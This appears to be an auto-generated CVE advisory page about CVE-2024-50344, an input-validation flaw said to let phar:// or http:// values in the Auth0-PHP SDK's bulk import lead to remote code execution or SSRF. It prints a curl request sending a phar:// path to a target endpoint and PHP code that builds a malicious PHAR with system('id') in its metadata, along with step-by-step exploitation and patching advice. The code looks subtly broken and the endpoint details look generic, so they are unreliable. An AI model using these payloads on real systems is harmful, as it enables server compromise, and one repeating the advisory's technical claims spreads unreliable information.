Auth0-PHP SDK, Improper Input Validation, CVE-2024-50344 (Critical)

Listen to this Post

The vulnerability exists within the Bulk User Import functionality of the Auth0-PHP SDK. The affected endpoint fails to properly sanitize or validate the ‘file’ parameter supplied by users. This lack of validation allows an attacker to supply arbitrary file paths using wrappers like ‘phar://’ or remote URLs with ‘http://’. When the SDK attempts to read the provided location, it can be coerced into deserializing a malicious PHAR archive via the ‘phar://’ wrapper, leading to remote code execution. Alternatively, the application may be forced to make arbitrary HTTP requests, potentially exposing internal services or leading to server-side request forgery (SSRF). The core issue is the unconditional acceptance of user-controlled input for file operations without a safe allow-list of permitted sources.
Platform: Auth0-PHP SDK
Version: 3.3.0 – 8.16.0

Vulnerability : Input Validation Bypass

Severity: Critical

date: 2024

Prediction: 2024-11-15

What Undercode Say:

curl -X POST https://target.com/auth0/bulk-import -d 'file=phar:///path/to/malicious.phar'
// Malicious PHAR payload
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata(['deserialization_command' => 'system("id")']);
$phar->stopBuffering();

How Exploit:

Craft a malicious PHAR archive containing serialized objects that execute commands upon deserialization. Submit a POST request to the bulk import endpoint, specifying the ‘phar://’ wrapper pointing to the attacker-controlled archive. The SDK’s deserialization process triggers the gadget chain embedded within the PHAR metadata, leading to arbitrary code execution on the server.

Protection from this CVE

Upgrade to SDK version 8.17.0. Implement strict allow-list validation for file paths, rejecting all URI wrappers. Restrict network egress from the application server. Use web application firewalls to block requests containing ‘phar://’ or ‘http://’ in critical parameters.

Impact:

Remote Code Execution, Server-Side Request Forgery, Potential full system compromise, Unauthorized data access, Internal network enumeration.

🎯Let’s Practice Exploiting & Learn Patching For Free:

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top